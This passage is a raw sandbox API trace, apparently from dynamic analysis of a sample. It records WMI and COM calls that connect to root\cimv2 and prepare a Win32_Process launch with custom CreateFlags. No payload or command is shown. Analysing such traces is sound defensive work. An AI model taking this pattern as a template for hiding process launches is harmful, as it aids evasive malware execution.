IWbemClassObject:Get (in: This=0x1bebad20, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2ffb0*=19, plFlavor=0x2a2ffb4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2ffb0*=19, plFlavor=0x2a2ffb4*=0) returned 0x0 [0060.193] IWbemClassObject:Put (This=0x1bebad20, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0060.193] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1070, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0060.193] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0060.193] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0060.193] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.193] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0060.193] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0060.194] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0060.194] IUnknown:Release (This=0x111f638) returned 0x1 [0060.195] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1becfc30) returned 0x0 [0060.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becfc30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0060.196] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becfc30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea1370) returned 0x0 [0060.196] WbemDefPath:IUnknown:Release (This=0x1becfc30) returned 0x0 [0060.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea1370) returned 0x0 [0060.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0060.196] WbemDefPath:IUnknown:AddRef (This=0x1bea1370) returned 0x3 [0060.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0060.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0060.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1becfc70) returned 0x0 [0060.197] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becfc70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.197] WbemDefPath:IUnknown:Release (This=0x1becfc70) returned 0x3 [0060.197] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0060.197] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0060.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0060.197] WbemDefPath:IUnknown:Release (This=0x1bea1370) returned 0x2 [0060.197] WbemDefPath:IUnknown:Release (This=0x1bea1370) returned 0x1 [0060.197] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0060.197] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0060.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea1370) returned 0x0 [0060.197] WbemDefPath:IUnknown:AddRef (This=0x1bea1370) returned 0x3 [0060.197] WbemDefPath:IUnknown:Release (This=0x1bea1370) returned 0x2 [0060.197] WbemDefPath:IWbemPath:SetText (This=0x1bea1370, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0060.197] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0060.197] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0060.197] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.197] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0060.198] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0060.198] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0060.198] IUnknown:Release (This=0x111f638) returned 0x1 [0060.199] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1becfd70) returned 0x0 [0060.199] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfd70, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0060.199] WbemLocator:IClassFactory:CreateInstance (in: This=0x1becfd70, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1becfd90) returned 0x0 [0060.199] WbemLocator:IUnknown:Release (This=0x1becfd70) returned 0x0 [0060.199] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfd90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1becfd90) returned 0x0 [0060.199] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfd90, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0060.199] WbemLocator:IUnknown:AddRef (This=0x1becfd90) returned 0x3 [0060.199] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfd90, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0060.199] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfd90, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0060.200] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfd90, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0060.200] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0060.200] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0060.200] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfd90, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0060.200] WbemLocator:IUnknown:Release (This=0x1becfd90) returned 0x2 [0060.200] WbemLocator:IUnknown:Release (This=0x1becfd90) returned 0x1 [0060.200] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0060.200] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0060.200] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfd90, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1becfd90) returned 0x0 [0060.200] WbemLocator:IUnknown:AddRef (This=0x1becfd90) returned 0x3 [0060.200] WbemLocator:IUnknown:Release (This=0x1becfd90) returned 0x2 [0060.200] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0060.200] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0060.200] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.200] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1becfdb0) returned 0x0 [0060.200] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1becfdb0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bed1bb0) returned 0x0 [0060.210] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1bb0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11df8a0) returned 0x0 [0060.211] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df8a0, pProxy=0x1bed1bb0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0060.211] WbemLocator:IUnknown:Release (This=0x11df8a0) returned 0x1 [0060.211] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1bb0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11df8e0) returned 0x0 [0060.211] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1bb0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11df8a0) returned 0x0 [0060.211] WbemLocator:IClientSecurity:SetBlanket (This=0x11df8a0, pProxy=0x1bed1bb0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0060.211] WbemLocator:IUnknown:Release (This=0x11df8a0) returned 0x2 [0060.211] WbemLocator:IUnknown:Release (This=0x11df8e0) returned 0x1 [0060.211] CoTaskMemFree (pv=0x1bed0320) [0060.211] WbemLocator:IUnknown:AddRef (This=0x1bed1bb0) returned 0x2 [0060.211] WbemLocator:IUnknown:Release (This=0x1becfdb0) returned 0x0 [0060.212] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0060.212] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0060.212] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1bb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11df8b0) returned 0x0 [0060.212] WbemLocator:IRpcOptions:Query (in: This=0x11df8b0, pPrx=0x1becfe10, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0060.212] WbemLocator:IUnknown:Release (This=0x11df8b0) returned 0x2 [0060.212] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0060.212] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0060.212] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1bb0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bed1bb0) returned 0x0 [0060.213] WbemLocator:IUnknown:Release (This=0x1bed1bb0) returned 0x2 [0060.213] SysStringLen (param_1=0x0) returned 0x0 [0060.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0060.213] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0060.213] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.213] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0060.213] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0060.213] IWbemServices:GetObject (in: This=0x1bed1bb0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bebb090, ppCallResult=0x0) returned 0x0 [0060.216] IWbemClassObject:Get (in: This=0x1bebb090, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0060.216] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0060.217] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0060.217] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0060.217] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0060.217] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0060.217] IUnknown:Release (This=0x111f638) returned 0x1 [0060.219] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1becfdb0) returned 0x0 [0060.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becfdb0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0060.219] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becfdb0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea1430) returned 0x0 [0060.219] WbemDefPath:IUnknown:Release (This=0x1becfdb0) returned 0x0 [0060.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea1430) returned 0x0 [0060.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0060.220] WbemDefPath:IUnknown:AddRef (This=0x1bea1430) returned 0x3 [0060.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0060.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0060.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1becfdd0) returned 0x0 [0060.220] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becfdd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.220] WbemDefPath:IUnknown:Release (This=0x1becfdd0) returned 0x3 [0060.220] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0060.220] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0060.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0060.220] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x2 [0060.220] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x1 [0060.221] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0060.221] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0060.221] WbemDefPath:IUnknown:QueryInterface (in: 